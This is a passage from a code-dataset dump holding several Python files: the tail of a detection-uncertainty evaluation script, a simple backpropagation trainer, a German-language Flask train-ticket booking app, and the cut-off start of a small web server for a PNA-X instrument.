np.array([obj.data['shannon_entropy'] for obj in ignored_pred_list[pt_filter]])\n # ae_list = np.array([obj.data['aleatoric_entropy'] for obj in ignored_pred_list[pt_filter]])\n # mi_list = np.array([obj.data['mutual_info'] for obj in ignored_pred_list[pt_filter]])\n # etv_list = np.array([obj.data['epistemic_total_var'] for obj in ignored_pred_list[pt_filter]])\n # atv_list = np.array([obj.data['aleatoric_total_var'] for obj in ignored_pred_list[pt_filter]])\n # uncertainty_metrics[fp_type]['SE'] = np.concatenate((uncertainty_metrics[tp_type]['SE'], se_list))\n # uncertainty_metrics[fp_type]['AE'] = np.concatenate((uncertainty_metrics[tp_type]['AE'], ae_list))\n # uncertainty_metrics[fp_type]['MI'] = np.concatenate((uncertainty_metrics[tp_type]['MI'], mi_list))\n # uncertainty_metrics[fp_type]['ETV'] = np.concatenate((uncertainty_metrics[tp_type]['ETV'], etv_list))\n # uncertainty_metrics[fp_type]['ATV'] = np.concatenate((uncertainty_metrics[tp_type]['ATV'], atv_list))\n\n # Uncertainty by threshold\n # if class_names[idx] == 'Car' and iou_thresholds[iou_threshold_idx] == 0.5:\n # get_uncertainty_by_thres(pred_list[tp | ml_c])\n \n # With all IoUs for this class completed we can add to the main lists\n tmp_nll_clf_list = np.array(tmp_nll_clf_list)\n tmp_brier_list = np.array(tmp_brier_list)\n tmp_nll_reg_list = np.array(tmp_nll_reg_list)\n tmp_energy_list = np.array(tmp_energy_list)\n tmp_mce = np.array(tmp_mce)\n tmp_reg_ce = np.array(tmp_reg_ce)\n tmp_reg_maxce = np.array(tmp_reg_maxce)\n tmp_se_list = np.array(tmp_se_list)\n tmp_ae_list = np.array(tmp_ae_list)\n tmp_mi_list = np.array(tmp_mi_list)\n tmp_etv_list = np.array(tmp_etv_list)\n tmp_atv_list = np.array(tmp_atv_list)\n\n print('class results')\n print(tmp_nll_clf_list)\n print(tmp_brier_list)\n print(tmp_nll_reg_list)\n print(tmp_energy_list)\n print(tmp_mce)\n print(tmp_reg_ce)\n print(tmp_reg_maxce)\n print(tmp_se_list)\n print(tmp_ae_list)\n print(tmp_mi_list)\n print(tmp_etv_list)\n print(tmp_atv_list)\n\n nll_clf_list.append(np.nanmean(tmp_nll_clf_list, axis=0))\n brier_list.append(np.nanmean(tmp_brier_list, axis=0))\n nll_reg_list.append(np.nanmean(tmp_nll_reg_list, axis=0))\n energy_list.append(np.nanmean(tmp_energy_list, axis=0))\n mce.append(np.nanmean(tmp_mce, axis=0))\n reg_ce.append(np.nanmean(tmp_reg_ce, axis=0))\n reg_maxce.append(np.nanmean(tmp_reg_maxce, axis=0))\n se_list.append(np.nanmean(tmp_se_list, axis=0))\n ae_list.append(np.nanmean(tmp_ae_list, axis=0))\n mi_list.append(np.nanmean(tmp_mi_list, axis=0))\n etv_list.append(np.nanmean(tmp_etv_list, axis=0))\n atv_list.append(np.nanmean(tmp_atv_list, axis=0))\n\n # Convert to numpy\n nll_clf_list = np.array(nll_clf_list)\n brier_list = np.array(brier_list)\n nll_reg_list = np.array(nll_reg_list)\n energy_list = np.array(energy_list)\n mce = np.array(mce)\n reg_ce = np.array(reg_ce)\n reg_maxce = np.array(reg_maxce)\n se_list = np.array(se_list)\n ae_list = np.array(ae_list)\n mi_list = np.array(mi_list)\n etv_list = np.array(etv_list)\n atv_list = np.array(atv_list)\n\n print('Final results')\n\n print('Raw results (row is class, columns are TP, FP_ML, FP)')\n print(nll_clf_list)\n print(brier_list)\n print(nll_reg_list)\n print(energy_list)\n print(mce)\n print(reg_ce)\n print(reg_maxce)\n print('se_list', se_list)\n print('ae_list', ae_list)\n print('mi_list', mi_list)\n print('etv_list', etv_list)\n print('atv_list', atv_list)\n\n table = PrettyTable()\n table.field_names = (['Output Type',\n 'Cls Ignorance Score',\n 'Cls Brier/Probability Score',\n 'Reg Ignorance Score',\n 'Reg Energy Score'])\n\n table.add_row([\n \"True Positives:\",\n '{:.4f}'.format(np.nanmean(nll_clf_list[:, 0])),\n '{:.4f}'.format(np.nanmean(brier_list[:, 0])),\n '{:.4f}'.format(np.nanmean(nll_reg_list[:, 0])),\n '{:.4f}'.format(np.nanmean(energy_list[:][0]))\n ])\n table.add_row([\n \"Localization Errors:\",\n '{:.4f}'.format(np.nanmean(nll_clf_list[:, 1])),\n '{:.4f}'.format(np.nanmean(brier_list[:, 1])),\n '{:.4f}'.format(np.nanmean(nll_reg_list[:, 1])),\n '{:.4f}'.format(np.nanmean(energy_list[:, 1]))\n ])\n table.add_row([\n \"False Positives:\",\n '{:.4f}'.format(np.nanmean(nll_clf_list[:, 2])),\n '{:.4f}'.format(np.nanmean(brier_list[:, 2])),\n '{:.4f}'.format(np.nanmean(nll_reg_list[:, 2])),\n '{:.4f}'.format(np.nanmean(energy_list[:, 2]))\n ])\n\n print(table)\n\n table = PrettyTable()\n table.field_names = (['Cls Marginal Calibration Error',\n 'Reg Expected Calibration Error',\n 'Reg Maximum Calibration Error'])\n\n table.add_row([\n '{:.4f}'.format(np.mean(mce[0:])),\n '{:.4f}'.format(np.mean(reg_ce[0:])),\n '{:.4f}'.format(np.mean(reg_maxce[0:]))\n ])\n\n print(table)\n\n csv_path = os.path.join(logdir + '/final_output', PKL_FILE + '_uncertainty_eval.csv')\n\n # data to be written row-wise in csv fil\n data = [\n ['CLS NLL TP', 'CLS NLL FP_ML', 'CLS NLL FP_BG', \\\n 'CLS Brier TP', 'CLS Brier FP_ML', 'CLS Brier FP_BG', \\\n 'REG NLL TP', 'REG NLL FP_ML', \\\n 'REG Energy TP', 'REG Energy FP_ML', \\\n 'MCE', 'REG ECE'\n ],\n # # Car\n # [round(nll_clf_list[0, 0], 4), round(nll_clf_list[0, 1], 4), round(nll_clf_list[0, 2], 4), \\\n # round(brier_list[0, 0], 4), round(brier_list[0, 1], 4), round(brier_list[0, 2], 4), \\\n # round(nll_reg_list[0, 0], 4), round(nll_reg_list[0, 1], 4), \\\n # round(energy_list[0, 0], 4), round(energy_list[0, 1], 4), \\\n # round(mce[0], 4), round(reg_ce[0], 4)\n # ],\n # ALL\n [np.nanmean(nll_clf_list[:, 0]).round(4), np.nanmean(nll_clf_list[:, 1]).round(4), np.nanmean(nll_clf_list[:, 2]).round(4), \\\n np.nanmean(brier_list[:, 0]).round(4), np.nanmean(brier_list[:, 1]).round(4), np.nanmean(brier_list[:, 2]).round(4), \\\n np.nanmean(nll_reg_list[:, 0]).round(4), np.nanmean(nll_reg_list[:, 1]).round(4), \\\n np.nanmean(energy_list[:, 0]).round(4), np.nanmean(energy_list[:, 1]).round(4), \\\n np.mean(mce).round(4), np.mean(reg_ce).round(4)\n ]\n ]\n\n # opening the csv file in 'a+' mode\n file = open(csv_path, 'a+', newline ='')\n \n # writing the data into the file\n with file: \n write = csv.writer(file)\n write.writerows(data)\n\n csv_path = os.path.join(logdir + '/final_output', PKL_FILE + '_uncertainty_sum_count.csv')\n\n # data to be written row-wise in csv fil\n data = [\n ['SE TP', 'SE FP_ML', 'SE FP_BG', \\\n 'AE TP', 'AE FP_ML', 'AE FP_BG', \\\n 'MI TP', 'MI FP_ML', 'MI FP_BG', \\\n 'ETV TP', 'ETV FP_ML', 'ETV FP_BG', \\\n 'ATV TP', 'ATV FP_ML', 'ATV FP_BG'\n ],\n # # Car\n # [round(se_list[0, 0], 4), round(se_list[0, 1], 4), round(se_list[0, 2], 4), \\\n # round(ae_list[0, 0], 4), round(ae_list[0, 1], 4), round(ae_list[0, 2], 4), \\\n # round(mi_list[0, 0], 4), round(mi_list[0, 1], 4), round(mi_list[0, 2], 4), \\\n # round(etv_list[0, 0], 4), round(etv_list[0, 1], 4), round(etv_list[0, 2], 4), \\\n # round(atv_list[0, 0], 4), round(atv_list[0, 1], 4), round(atv_list[0, 2], 4)\n # ],\n # ALL\n [np.nanmean(se_list[:, 0]).round(4), np.nanmean(se_list[:, 1]).round(4), np.nanmean(se_list[:, 2]).round(4), \\\n np.nanmean(ae_list[:, 0]).round(4), np.nanmean(ae_list[:, 1]).round(4), np.nanmean(ae_list[:, 2]).round(4), \\\n np.nanmean(mi_list[:, 0]).round(4), np.nanmean(mi_list[:, 1]).round(4), np.nanmean(mi_list[:, 2]).round(4), \\\n np.nanmean(etv_list[:, 0]).round(4), np.nanmean(etv_list[:, 1]).round(4), np.nanmean(etv_list[:, 2]).round(4), \\\n np.nanmean(atv_list[:, 0]).round(4), np.nanmean(atv_list[:, 1]).round(4), np.nanmean(atv_list[:, 2]).round(4)\n ]\n ]\n\n # opening the csv file in 'a+' mode\n file = open(csv_path, 'a+', newline ='')\n \n # writing the data into the file\n with file: \n write = csv.writer(file)\n write.writerows(data)\n\n temp = ['tp_car', 'tp_ped_cyc'] # , 'fp_ignore_minus_van'\n output_um_row = []\n for val in temp:\n # print(uncertainty_metrics[val]['SE'])\n # exit()\n \n se_val = np.nanmean(uncertainty_metrics[val]['SE']).round(4)\n ae_val = np.nanmean(uncertainty_metrics[val]['AE']).round(4)\n mi_val = np.nanmean(uncertainty_metrics[val]['MI']).round(4)\n etv_val = np.nanmean(uncertainty_metrics[val]['ETV']).round(4)\n atv_val = np.nanmean(uncertainty_metrics[val]['ATV']).round(4)\n print(val, ' SE', se_val)\n print(val, ' AE', ae_val)\n print(val, ' MI', mi_val)\n print(val, ' ETV', etv_val)\n print(val, ' ATV', atv_val)\n output_um_row.append([se_val, ae_val, mi_val, etv_val, atv_val])\n\n csv_path = os.path.join(logdir + '/final_output', PKL_FILE + '_compute_uncertainty_metrics.csv')\n\n # data to be written row-wise in csv fil\n data = [\n ['TP Car SE', 'TP Car AE', 'TP Car MI', 'TP Car ETV', 'TP Car ATV', \\\n 'TP Ped & Cyc SE', 'TP Ped & Cyc AE', 'TP Ped & Cyc MI', 'TP Ped & Cyc ETV', 'TP Ped & Cyc ATV'],\n [output_um_row[0][0], output_um_row[0][1], output_um_row[0][2], output_um_row[0][3], output_um_row[0][4],\n output_um_row[1][0], output_um_row[1][1], output_um_row[1][2], output_um_row[1][3], output_um_row[1][4],\n ]\n ]\n\n # opening the csv file in 'a+' mode\n file = open(csv_path, 'a+', newline ='')\n \n # writing the data into the file\n with file: \n write = csv.writer(file)\n write.writerows(data)\n\n\n csv_path = os.path.join(logdir + '/final_output', PKL_FILE + '_compute_uncertainty_tp_car.csv')\n\n output_rows = []\n\n uncertainty_text = ['SE', 'AE', 'MI', 'ETV', 'ATV']\n for um in uncertainty_text:\n stats = np.array(tp_car_uncertainty[um])\n dist_close = stats[:,0]\n dist_med = stats[:,1]\n dist_far = stats[:,2]\n occ_low = stats[:,3]\n occ_med = stats[:,4]\n occ_high = stats[:,5]\n output_rows.append([um, \\\n np.nanmean(dist_close).round(4), np.nanmean(dist_med).round(4), np.nanmean(dist_far).round(4), \\\n np.nanmean(occ_low).round(4), np.nanmean(occ_med).round(4), np.nanmean(occ_high).round(4)])\n\n # data to be written row-wise in csv fil\n data = [\n ['Uncertainty', 'Dist <= 10', '10 < Dist <= 20', '20 < Dist <= 30', 'occ 0', 'occ 1', 'occ 2'],\n output_rows[0],\n output_rows[1],\n output_rows[2],\n output_rows[3],\n output_rows[4]\n ]\n\n # opening the csv file in 'a+' mode\n file = open(csv_path, 'a+', newline ='')\n \n # writing the data into the file\n with file: \n write = csv.writer(file)\n write.writerows(data)\n\nmain()\n","repo_name":"mpitropov/uncertainty_eval","sub_path":"uncertainty_eval.py","file_name":"uncertainty_eval.py","file_ext":"py","file_size_in_byte":48302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72495666002","text":"from math import exp\nfrom random import seed\nfrom random import random\nimport numpy as np\n\n# Initialize a network\ndef initialize_network(n_inputs, n_hidden, n_outputs):\n\tnetwork = list()\n\thidden_layer = [{'weights':[random() for i in range(n_inputs + 1)]} for i in range(n_hidden)]\n\tnetwork.append(hidden_layer)\n\toutput_layer = [{'weights':[random() for i in range(n_hidden + 1)]} for i in range(n_outputs)]\n\tnetwork.append(output_layer)\n\treturn network\n\n# Calculate neuron activation for an input\ndef activate(weights, inputs):\n\tactivation = weights[-1]\n\tfor i in range(len(weights)-1):\n\t\tactivation += weights[i] * inputs[i]\n\treturn activation\n\n# Transfer neuron activation\ndef transfer(activation):\n\treturn 1.0 / (1.0 + np.exp(-activation))\n\n# Forward propagate input to a network output\ndef forward_propagate(network, row):\n\tinputs = row\n\tfor layer in network:\n\t\tnew_inputs = []\n\t\tfor neuron in layer:\n\t\t\tactivation = activate(neuron['weights'], inputs)\n\t\t\tneuron['output'] = transfer(activation)\n\t\t\tnew_inputs.append(neuron['output'])\n\t\tinputs = new_inputs\n\treturn inputs\n\n# Calculate the derivative of an neuron output\ndef transfer_derivative(output):\n\treturn output * (1.0 - output)\n\n# Backpropagate error and store in neurons\ndef backward_propagate_error(network, expected):\n\tfor i in reversed(range(len(network))):\n\t\tlayer = network[i]\n\t\terrors = list()\n\t\tif i != len(network)-1:\n\t\t\tfor j in range(len(layer)):\n\t\t\t\terror = 0.0\n\t\t\t\tfor neuron in network[i + 1]:\n\t\t\t\t\terror += (neuron['weights'][j] * neuron['delta'])\n\t\t\t\terrors.append(error)\n\t\telse:\n\t\t\tfor j in range(len(layer)):\n\t\t\t\tneuron = layer[j]\n\t\t\t\terrors.append(expected[j] - neuron['output'])\n\t\tfor j in range(len(layer)):\n\t\t\tneuron = layer[j]\n\t\t\tneuron['delta'] = errors[j] * transfer_derivative(neuron['output'])\n\n# Update network weights with error\ndef update_weights(network, row, l_rate):\n\tfor i in range(len(network)):\n\t\tinputs = row[:-1]\n\t\tif i != 0:\n\t\t\tinputs = [neuron['output'] for neuron in network[i - 1]]\n\t\tfor neuron in network[i]:\n\t\t\tfor j in range(len(inputs)):\n\t\t\t\tneuron['weights'][j] += l_rate * neuron['delta'] * inputs[j]\n\t\t\tneuron['weights'][-1] += l_rate * neuron['delta']\n\n# Train a network for a fixed number of epochs\ndef train_network(network, train, l_rate, n_epoch, n_outputs):\n\tfor epoch in range(n_epoch):\n\t\tsum_error = 0\n\t\tfor row in train:\n\t\t\toutputs = forward_propagate(network, row)\n\t\t\texpected = [0 for i in range(n_outputs)]\n\t\t\texpected[int(row[-1])] = 1\n\t\t\tsum_error += sum([(expected[i]-outputs[i])**2 for i in range(len(expected))])\n\t\t\tbackward_propagate_error(network, expected)\n\t\t\tupdate_weights(network, row, l_rate)\n\t\tprint('>epoch=%d, lrate=%.3f, error=%.3f' % (epoch, l_rate, sum_error))\n\n\n# Test training backprop algorithm\nload_npy = np.load('new_X_short_scaled_array.npy')\ndataset = np.ndarray.tolist(load_npy)\n\nn_inputs = len(dataset[0]) - 1\n\n\noutputs_list = []\nfor row in range(len(dataset)):\n\toutputs_row = dataset[row]\n\toutputs_end = outputs_row[-1]\n\toutputs_list.append(outputs_end)\n\ndataset = np.array(dataset)\n\nn_outputs = len(outputs_list)\nnetwork = initialize_network(n_inputs, 100, n_outputs)\ntrain_network(network, dataset, 0.25, 50, n_outputs)\n\nnn_list = []\n\nfor layer in network:\n\tprint(layer)\n\tnn_list.append(layer)\n\nnn_npy = np.array(nn_list)\nnp.save('nn_npy', nn_npy)\nprint('File saved')","repo_name":"ayyymiel/thebrainboys","sub_path":"archive/Backpropagation Files/testbackprop.py","file_name":"testbackprop.py","file_ext":"py","file_size_in_byte":3320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33956661425","text":"from datetime import datetime\n\nfrom flask import render_template, flash, redirect, url_for\nfrom flask import request\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom werkzeug.urls import url_parse\n\nimport api\nfrom app import app, db\nfrom app.admin import requires_access\nfrom app.forms import LoginForm, TicketForm, EditProfileForm, PromotionForm, EmptyForm\nfrom app.forms import RegistrationForm\nfrom app.models import User, Ticket, Promotion\n\n\n# \"Fahrplansuche\"-Seite die ohne Login abgerufen werden kann\n\n@app.route('/timetable', methods=['GET', 'POST'])\ndef timetable():\n form = TicketForm()\n if form.validate_on_submit():\n start = int(api.get_station_by_name(form.departure.data)[\"id\"])\n end = int(api.get_station_by_name(form.destination.data)[\"id\"])\n date = form.date.data\n time = form.time.data\n succ = False\n res = []\n promotions = Promotion.query.all()\n warnings_dict = {}\n for r in api.get_rides()[\"data\"]:\n planned_route = api.get_planned_route_by_id(r[\"plannedroute_id\"])\n ride_time = datetime.strptime(r[\"time\"], \"%a, %d %b %Y %H:%M:%S GMT\")\n full_ride = False\n append = False\n sections = []\n route = api.get_route_id_by_sections(planned_route[\"sections\"])\n ordered_sections = [item for item in route[\"sections\"] if item in planned_route[\"sections\"]]\n for s in ordered_sections:\n section = api.get_section_by_id(s)\n if section[\"startStation\"] == start or append:\n full_ride = True\n append = True\n sections.append(s)\n if section[\"endStation\"] == end:\n append = False\n sections.append(s)\n if full_ride and not append and ride_time.date() == date and ride_time.time() >= time:\n sections = list(set(sections))\n r[\"price\"] = r[\"price\"] * (len(sections) / len(ordered_sections))\n res.append(r)\n succ = True\n warnings_dict[r[\"id\"]] = get_warnings_section(sections, route)\n if not succ:\n flash(\"Keine Fahrtdurchführung gefunden!\")\n return render_template(\"timetable.html\", title='Fahrplansuche', result=True, form=form, results=res,\n promotions=promotions, pricedict=get_best_promo(), warnings=warnings_dict)\n return render_template('timetable.html', title='Fahrplansuche', form=form)\n\n\n# \"Login\"-Seite leitet bei erfolgreichem Login zur Startseite weiter, ansonsten Fehlermeldung\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('Ungültiger Benutzername oder ungültiges Passwort.')\n return redirect(url_for('login'))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n return render_template('login.html', title='Login', form=form)\n\n\n# \"Registrierung\"-Seite leitet bei erfolgreicher Registrierung zur Login-Seite weiter\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n user = User(username=form.username.data, email=form.email.data)\n user.set_password(form.password.data)\n db.session.add(user)\n db.session.commit()\n flash('Sie wurden erfolgreich registriert.')\n return redirect(url_for('login'))\n return render_template('register.html', title='Registrierung', form=form)\n\n\n# ADMINANSICHT\n\n# \"Neue Aktion festlegen\"-Seite leitet zur \"Übersicht vorhandene Aktionen\"-Seite weiter,\n# nachdem eine Aktion für alle oder eine bestimmte Fahrtstrecke festgelegt wurde\n\n@app.route('/promotion', methods=['GET', 'POST'])\n@requires_access('admin')\n@login_required\ndef promotion():\n form = PromotionForm()\n if form.validate_on_submit():\n start_date = form.start_date.data\n end_date = form.end_date.data\n sale = form.sale.data\n promotion = Promotion(start_date=start_date, end_date=end_date, sale=sale)\n if form.validity.data == 'Preisnachlass für alle Fahrtstrecken':\n promotion.set_all_routes(True)\n else:\n route_id = api.get_route_id(form.route.data)\n promotion.set_route_id(route_id)\n db.session.add(promotion)\n db.session.commit()\n return redirect(url_for('overview'))\n return render_template('promotion.html', title='Aktion festlegen', form=form)\n\n\n# \"Übersicht vorhandene Aktionen\"-Seite\n\n@app.route('/overview', methods=['GET', 'POST'])\n@requires_access('admin')\n@login_required\ndef overview():\n promotions = Promotion.query.all()\n return render_template('overview.html', title='Übersicht vorhandene Aktionen', promotions=promotions)\n\n\n# Nach dem Klick auf \"Löschen\" in der \"Übersicht vorhandene Aktionen\"-Seite wird man weitergeleitet zu einer eigenen Seite die fragt,\n# ob man die Aktion wirklich löschen möchte\n\n@app.route('/cancelpromo/', methods=['GET', 'POST'])\n@requires_access('admin')\n@login_required\ndef cancelpromo(promotionid):\n form = EmptyForm()\n promotion = Promotion.query.filter_by(id=promotionid).first()\n if form.cancel.data:\n return redirect(url_for('overview'))\n if form.submit.data:\n db.session.delete(promotion)\n db.session.commit()\n flash('Die Aktion wurde erfolgreich gelöscht!')\n return redirect(url_for('overview'))\n return render_template('cancel.html', title='Neue Aktion festlegen', form=form,\n question=\"Möchten Sie die Aktion wirklich löschen?\")\n\n\n# BENUTZERANSICHT\n\n# \"Meine Daten\"-Seite ermöglicht das Ändern der Daten und wirft Fehlermeldungen bei falschen Eingaben\n# beim Klick auf \"Profil löschen\" wird der Benutzer ausgeloggt und aus der Datenbank entfernt\n\n@app.route('/user/', methods=['GET', 'POST'])\n@login_required\ndef user(username):\n form = EditProfileForm(current_user.username, current_user.email)\n user = User.query.filter_by(id=int(current_user.id)).first_or_404()\n if form.delete.data:\n db.session.delete(user)\n db.session.commit()\n flash('Ihr Profil wurde gelöscht.')\n return redirect(url_for('logout'))\n if form.validate_on_submit():\n current_user.username = form.username.data\n current_user.email = form.email.data\n db.session.commit()\n flash('Ihre Daten wurden geändert.')\n if form.oldPassword.data and not user.check_password(form.oldPassword.data):\n flash('Falsches Passwort eingegeben.')\n return redirect(url_for('user', username=current_user.username))\n if form.newPassword.data and user.check_password(form.oldPassword.data):\n current_user.set_password(form.newPassword.data)\n db.session.commit()\n flash('Ihr Passwort wurde geändert.')\n return redirect(url_for('user', username=current_user.username))\n elif request.method == 'GET':\n form.username.data = current_user.username\n form.email.data = current_user.email\n return render_template('user.html', user=user, title='Meine Daten', form=form)\n\n\n# Startseite leitet Admin zur \"Neue Aktion festlegen\"-Seite weiter\n# Startseite leitet Benutzerinnen und Benutzer zur \"Fahrplansuche\"-Seite weiter\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index', methods=['GET', 'POST'])\n@login_required\ndef index():\n if current_user.is_admin():\n return redirect(url_for('promotion'))\n form = TicketForm()\n if form.validate_on_submit():\n start = int(api.get_station_by_name(form.departure.data)[\"id\"])\n end = int(api.get_station_by_name(form.destination.data)[\"id\"])\n date = form.date.data\n time = form.time.data\n succ = False\n res = []\n promotions = Promotion.query.all()\n warnings_dict = {}\n for r in api.get_rides()[\"data\"]:\n planned_route = api.get_planned_route_by_id(r[\"plannedroute_id\"])\n ride_time = datetime.strptime(r[\"time\"], \"%a, %d %b %Y %H:%M:%S GMT\")\n full_ride = False\n append = False\n sections = []\n route = api.get_route_id_by_sections(planned_route[\"sections\"])\n ordered_sections = [item for item in route[\"sections\"] if item in planned_route[\"sections\"]]\n for s in ordered_sections:\n section = api.get_section_by_id(s)\n if section[\"startStation\"] == start or append:\n full_ride = True\n append = True\n sections.append(s)\n if section[\"endStation\"] == end:\n append = False\n sections.append(s)\n if full_ride and not append and ride_time.date() == date and ride_time.time() >= time:\n sections = list(set(sections))\n r[\"price\"] = r[\"price\"] * (len(sections) / len(ordered_sections))\n res.append(r)\n succ = True\n warnings_dict[r[\"id\"]] = get_warnings_section(sections, route)\n if not succ:\n flash(\"Keine Fahrtdurchführung gefunden!\")\n return render_template(\"index.html\", title='Ticketsystem', result=True, form=form, results=res,\n promotions=promotions, pricedict=get_best_promo(), warnings=warnings_dict)\n return render_template(\"index.html\", title='Ticketsystem', results=False, form=form)\n\n\n# Für die gewählte Fahrtdurchführung wird die vorteilhafteste Aktion zurückgegeben\n\n# Funktion 1: Aktion muss zur gewählten Fahrtstrecke passen\n\ndef get_best_promo():\n best_promo_dict = {}\n for r in api.get_rides()[\"data\"]:\n list_routes = api.get_route_of_ride(r[\"plannedroute_id\"])\n best_promo = get_best_promo_by_route(list_routes, r[\"time\"])\n best_promo_dict[r[\"id\"]] = best_promo\n return best_promo_dict\n\n\n# Funktion 2: Aktion muss zur Zeit der Fahrtdurchführung gültig sein\n\ndef get_best_promo_by_route(list_routes, ride_time_str):\n promotions = Promotion.query.all()\n best_promo = 0\n for p in promotions:\n ride_time = datetime.strptime(ride_time_str, \"%a, %d %b %Y %H:%M:%S GMT\").date()\n if p.start_date <= ride_time <= p.end_date:\n if p.all_routes and p.sale > best_promo:\n best_promo = p.sale\n elif list_routes.__contains__(p.route_id) and p.sale > best_promo:\n best_promo = p.sale\n return best_promo\n\n\n# Für die gewählte Fahrtdurchführung werden Warnungen über Ereignisse zurückgegeben\n\ndef get_warnings_section(list_sections, route):\n list = []\n warnings = api.get_warnings()\n for w in warnings[\"warnings\"]:\n if any(item in w[\"sections\"] for item in list_sections) or (route[\"id\"] in w[\"routes\"]):\n list.append(w[\"name\"])\n return list\n\n\n# \"Ticket kaufen\"-Seite, es können nur Tickets gekauft werden, wo die Fahrt noch nicht durchgeführt wurde\n\n@app.route('/buyticket///', methods=['GET', 'POST'])\n@requires_access('user')\n@login_required\ndef buyticket(rideid, departure, destination):\n form = EmptyForm()\n today = datetime.now()\n ride_time = datetime.strptime(api.get_ride_by_id(int(rideid))[\"time\"], \"%a, %d %b %Y %H:%M:%S GMT\")\n if ride_time < today:\n flash(\"Ticketkauf fehlgeschlagen! Die Reise liegt in der Vergangenheit.\")\n return redirect(url_for('index'))\n elif form.cancel.data:\n return redirect(url_for('index'))\n elif form.submit.data:\n ticket = Ticket(user_id=current_user.id, ride_id=rideid, departure=departure, destination=destination)\n db.session.add(ticket)\n db.session.commit()\n flash('Das Ticket wurde erfolgreich erworben!')\n return redirect(url_for('tickets'))\n return render_template('buyticket.html', title='Ticket kaufen', form=form)\n\n\n# \"Meine Tickets\"-Seite gibt eine Übersicht über die gekauften Tickets mit der Abfahrtszeit,\n# Sitzplatzreservierung und dem Status active/cancelled/used zurück\n\n@app.route('/tickets', methods=['GET', 'POST'])\n@requires_access('user')\n@login_required\ndef tickets():\n tickets = current_user.bought_tickets()\n today = datetime.now()\n for t in tickets:\n rideid = t.ride_id\n ride_time = datetime.strptime(api.get_ride_by_id(rideid)[\"time\"], \"%a, %d %b %Y %H:%M:%S GMT\")\n if t.status == 'active' and t.status != 'used' and ride_time < today:\n t.set_status('used')\n db.session.commit()\n ticketid = request.args.get('ticketid')\n book_seat(ticketid)\n return render_template('tickets.html', title='Meine Tickets', tickets=tickets)\n\n\n# Sitzplatzreservierung ist nur für aktive Tickets möglich und es muss noch freie Sitzplätze geben\n\ndef book_seat(ticketid):\n ticket = Ticket.query.filter_by(id=ticketid).first()\n if ticket is not None and ticket.status == 'active':\n rideid = ticket.ride_id\n booked_seats = len(Ticket.query.filter_by(ride_id=rideid, seat=True).all())\n trainid = api.get_ride_by_id(rideid)[\"train_id\"]\n available_seats = api.get_train_by_id(trainid)[\"seats\"]\n if ticket.seat:\n flash(\"Sitzplatz bereits gebucht!\")\n elif available_seats <= booked_seats:\n flash(\"Alle Sitzplätze sind bereits vergeben!\")\n elif not ticket.seat:\n ticket.set_seat(True)\n db.session.commit()\n flash(\"Sitzplatz erfolgreich reserviert!\")\n elif ticket is not None:\n flash(\"Das Ticket ist nicht mehr verfügbar, da storniert oder verbraucht!\")\n\n\n# Nach dem Klick auf \"Stornieren\" in der \"Meine Tickets\"-Seite wird man weitergeleitet zu einer eigenen Seite die fragt,\n# ob man das Ticket wirklich stornieren möchte\n\n@app.route('/cancelticket/', methods=['GET', 'POST'])\n@requires_access('user')\n@login_required\ndef cancelticket(ticketid):\n form = EmptyForm()\n ticket = Ticket.query.filter_by(id=ticketid).first()\n if form.cancel.data:\n return redirect(url_for('tickets'))\n if form.submit.data:\n if ticket.status == 'active':\n ticket.set_seat(False)\n ticket.set_status('cancelled')\n db.session.commit()\n flash(\"Das Ticket wurde erfolgreich storniert.\")\n else:\n flash(\"Das Ticket wurde bereits storniert oder verbraucht.\")\n return redirect(url_for('tickets'))\n return render_template('cancel.html', title='Meine Tickets', form=form,\n question=\"Möchten Sie das Ticket wirklich stornieren?\")\n\n\n# Logout hat keine Seite, der Benutzer wird einfach ausgeloggt\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n","repo_name":"andreawieser/prdkegruppe3","sub_path":"Ticketsystem/prdkegruppe3-tickets/ticket/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":15334,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12351278214","text":"import time, json, signal, logging, sys\nfrom web_api.simpleapi import SimpleApi\nfrom routines.SharedLib.PNA import PNA\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(name)s:%(funcName)s:%(lineno)d - %(levelname)s - %(message)s\")\nlogging.root.name=\"PNA-X.py\"\n\ndef signal_handler(signum, frame):\n print(f\"Requested exit\")\n SimpleApi.shutdown_requested = True\n PNA.notSoGracefulExit()\n logging.debug(\"Exiting code\")\n sys.exit()\n\nsignal.signal(signal.SIGINT, signal_handler)\n\ndef style_css(payload:str):\n print(f'Recebido payload: {payload}')\n try: \n with open('web-pages/style.css', 'r', encoding='utf-8') as file:\n return SimpleApi.http_resource['css'] + file.read().encode('utf-8')\n except:\n print('INDEX file not found, sending 404')\n return SimpleApi.http_header['404']\n \ndef start_html(payload:str):\n print(f'Recebido payload: {payload}')\n try: \n with open('web-pages/index.html', 'r', encoding='utf-8') as file:\n return SimpleApi.http_resource['html'] + file.read().encode('utf-8')\n except:\n print('INDEX file not found, sending 404')\n return SimpleApi.http_header['404']\n \ndef SParamCal_html(payload:str):\n print(f'Recebido payload: {payload}')\n try: \n with open('web-pages/SParamCal.html', 'r', encoding='utf-8') as file:\n return SimpleApi.http_resource['html'] + file.read().encode('utf-8')\n except:\n print('INDEX file not found, sending 404')\n return SimpleApi.http_header['404']\n \ndef ComPt_html(payload:str):\n print(f'Recebido payload: {payload}')\n try: \n with open('web-pages/ComPt.html', 'r', encoding='utf-8') as file:\n return SimpleApi.http_resource['html'] + file.read().encode('utf-8')\n except:\n print('INDEX file not found, sending 404')\n return SimpleApi.http_header['404']\n \ndef 